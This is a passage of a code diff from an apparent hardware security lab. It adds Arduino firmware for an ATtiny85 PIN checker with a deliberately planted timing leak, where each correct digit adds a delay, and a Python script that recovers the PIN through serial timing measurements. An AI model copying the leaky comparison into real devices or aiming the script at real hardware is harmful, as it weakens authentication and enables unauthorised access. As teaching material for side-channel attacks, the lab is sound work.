+    ourCode += String(random(1, 5)); // Random number between 1 and 4 (inclusive)
+  }
+  Serial.println("Generated PIN: " + ourCode); // Display the generated PIN for debugging
+}
+
+void setup() {
+  pinMode(rgLed, INPUT);
+  pinMode(rx, INPUT); // setup and print to serial
+  pinMode(tx, OUTPUT);
+  Serial.begin(9600);
+  Serial.println("Running");
+  delay(500);
+  generateRandomPin();
+  red(500);
+  green(500);
+}
+
+#pragma GCC push_options
+#pragma GCC optimize ("O0")  // Disable optimisations
+
+void addkey(String keyPressed) {
+  currentCode += keyPressed;
+  Serial.print("Added: ");
+  Serial.println(currentCode);
+  
+  if (currentCode.length() == ourCode.length()) {
+    Serial.print("Checking: ");
+    volatile bool correct = true;
+        
+    for (int i = 0; i < ourCode.length(); i++) {
+      if (currentCode[i] != ourCode[i]) {
+        correct = false;
+        break;
+      }
+      
+      do_login();
+    }
+    
+    if (correct) {
+      Serial.println("correct");
+      green(500);
+      delay(500);
+      green(500);
+      delay(500);
+      green(500);
+    } else {
+      Serial.println("failed");
+      red(500);
+    }
+    currentCode = ""; // Reset the entered code
+  }
+}
+
+#pragma GCC pop_options
+
+void green(int del) { // turn on green LED for delay()
+  pinMode(rgLed, OUTPUT);
+  analogWrite(rgLed, HIGH);
+  delay(del);
+  pinMode(rgLed, INPUT);
+}
+
+void red(int del) { // turn on red LED for delay()
+  pinMode(rgLed, OUTPUT);
+  analogWrite(rgLed, 255);
+  delay(del);
+  pinMode(rgLed, INPUT);
+}
+
+void do_login(){
+  delay(10);
+}
+
+void loop() {
+  buttonValue = analogRead(button); // Read analog value from A0 pin
+  if (buttonValue > 100){
+    Serial.println("Button analog value: " + String(buttonValue)); // Print button value
+  }
+  
+  if (buttonValue >= 1011 && buttonValue <= 1030) { // For 1st button:
+    addkey("1");
+  } else if (buttonValue >= 1000 && buttonValue <= 1010) { // For 2nd button:
+    addkey("2");
+  } else if (buttonValue >= 950 && buttonValue <= 999) { // For 3rd button:
+    addkey("3");
+  } else if (buttonValue >= 870 && buttonValue <= 950) { // For 4th button:
+    addkey("4");
+  }
+  
+  if (Serial.available()) { // Check if data is available from Serial input
+    delay(10); 
+    char key = Serial.read(); // Read the character
+    if (key >= '1' && key <= '4') { // Ensure input is a valid key
+      addkey(String(key));
+    }
+  }
+  
+  delay(100);
+}
diff --git a/SideChannel/ATtiny85_Timing_Attack/multi_digit_attack.py b/SideChannel/ATtiny85_Timing_Attack/multi_digit_attack.py
new file mode 100644
index 0000000..5c8e550
--- /dev/null
+++ b/SideChannel/ATtiny85_Timing_Attack/multi_digit_attack.py
@@ -0,0 +1,138 @@
+import serial
+import time
+import argparse
+
+# Constants
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+PREFIX = ""
+ATTEMPTS = 3
+DELAY = 0.8
+KEYSPACE = ["1", "2", "3", "4"]
+BYTE_SIZE = 10  # 8 data bits + 1 start bit + 1 stop bit
+
+def get_response_time(serial_port, message):
+    """
+    Function to send message, wait for response, and measure response time.
+    """
+    serial_port.flushInput()
+    first_line_received = False
+
+    for i, char in enumerate(message):
+        time.sleep(DELAY)
+        serial_port.write(char.encode())
+        if i < len(message)-1:
+            raw_response = serial_port.readline()
+
+    raw_response = b''
+    while True:
+        byte = serial_port.read(1)
+        if byte:
+            if byte == b'\n' and not first_line_received:
+                first_line_received = True
+            elif first_line_received:
+                start_time = time.time()
+                break
+
+    final_response = serial_port.readline().decode(errors='ignore').strip()
+    response_time = time.time() - start_time
+
+    print(f"\rSent: {message}, Response: {final_response}, Response Time: {response_time:.4f} seconds", end='', flush=True)
+    time.sleep(DELAY)
+    return final_response, response_time
+
+def calculate_average_response_time(serial_port, message):
+    """
+    Calculate average response time over multiple attempts.
+    """
+    total_time = 0
+    response_times = []
+    for _ in range(ATTEMPTS):
+        response, response_time = get_response_time(serial_port, message)
+        total_time += response_time
+        response_times.append(response_time)
+    
+    average_time = total_time / ATTEMPTS
+    print(f"\r{message} average: {average_time:.4f} seconds - ", flush=True)
+    return average_time, response_times
+
+def identify_sequence(serial_port, length):
+    """
+    Identify the complete sequence of characters by sending test sequences.
+    """
+    prefix = ""
+    for pos in range(length):
+        slowest_avg = float('-inf')
+        best_digit = None
+
+        for key in KEYSPACE:
+            message = prefix + key + key * (length - len(prefix) - 1)
+            print(f"Testing: {message}", end='', flush=True)
+            avg_time, _ = calculate_average_response_time(serial_port, message)
+            if avg_time > slowest_avg:
+                slowest_avg = avg_time
+                best_digit = key
+
+        prefix += best_digit
+        print(f"Best digit for position {pos + 1}: {best_digit} (Average response time: {slowest_avg:.4f} seconds)")
+
+    return prefix
+
+def estimate_serial_time(message_length):
+    """
+    Estimate time taken for serial communication based on baud rate.
+    """
+    bits_per_second = BAUD_RATE
+    chars_per_second = bits_per_second / BYTE_SIZE
+    time_per_char = 1 / chars_per_second
+    return message_length * time_per_char
+
+def main():
+    parser = argparse.ArgumentParser(description="PIN length argument")
+    parser.add_argument("length", type=int, help="Length of the PIN to test")
+    args = parser.parse_args()
+    length = args.length
+
+    max_attempts = len(KEYSPACE) * length * ATTEMPTS
+    serial_time = estimate_serial_time(length * len(KEYSPACE))
+    estimated_time = max_attempts * (DELAY + DELAY + serial_time + 0.05)  # Adjusted for serial delay and print time
+
+    print(f"########################################################")
+    print(f"# Attempts: {ATTEMPTS}  -    Delay: {DELAY}            ")
+    print(f"# Maximum possible attempts: {max_attempts}            ")
+    print(f"# Estimated maximum time: {estimated_time:.2f} seconds ")
+    print(f"########################################################")
+
+    start_time = time.time()  # Record the start time
+    start_timestamp = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(start_time))
+    print(f"Started at {start_timestamp}")
+
+
+    with serial.Serial(SERIAL_PORT, BAUD_RATE, timeout=1) as serial_port:
+        print(f"Starting sequence identification on port {SERIAL_PORT} with PIN length {length}...")
+        sequence = identify_sequence(serial_port, length)
+        print(f"########################################################")
+        print(f"# Identified sequence: {sequence}")
+        print(f"########################################################")
+
+    end_time = time.time()  # Record the end time
+    end_timestamp = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(end_time))
+    elapsed_time = end_time - start_time  # Calculate total time taken
+
+    # Convert elapsed time to appropriate format
+    if elapsed_time > 3600:  # More than 1 hour
+        hours = int(elapsed_time // 3600)
+        minutes = int((elapsed_time % 3600) // 60)
+        time_str = f"{hours}h {minutes}m"
+    elif elapsed_time > 60:  # More than 1 minute
+        minutes = int(elapsed_time // 60)
+        seconds = int(elapsed_time % 60)
+        time_str = f"{minutes}m {seconds}s"
+    else:
+        time_str = f"{elapsed_time:.2f} seconds"
+
+    print(f"\nFinished at {end_timestamp}")
+    print(f"Total execution time: {time_str}")
+
+if __name__ == '__main__':
+    main()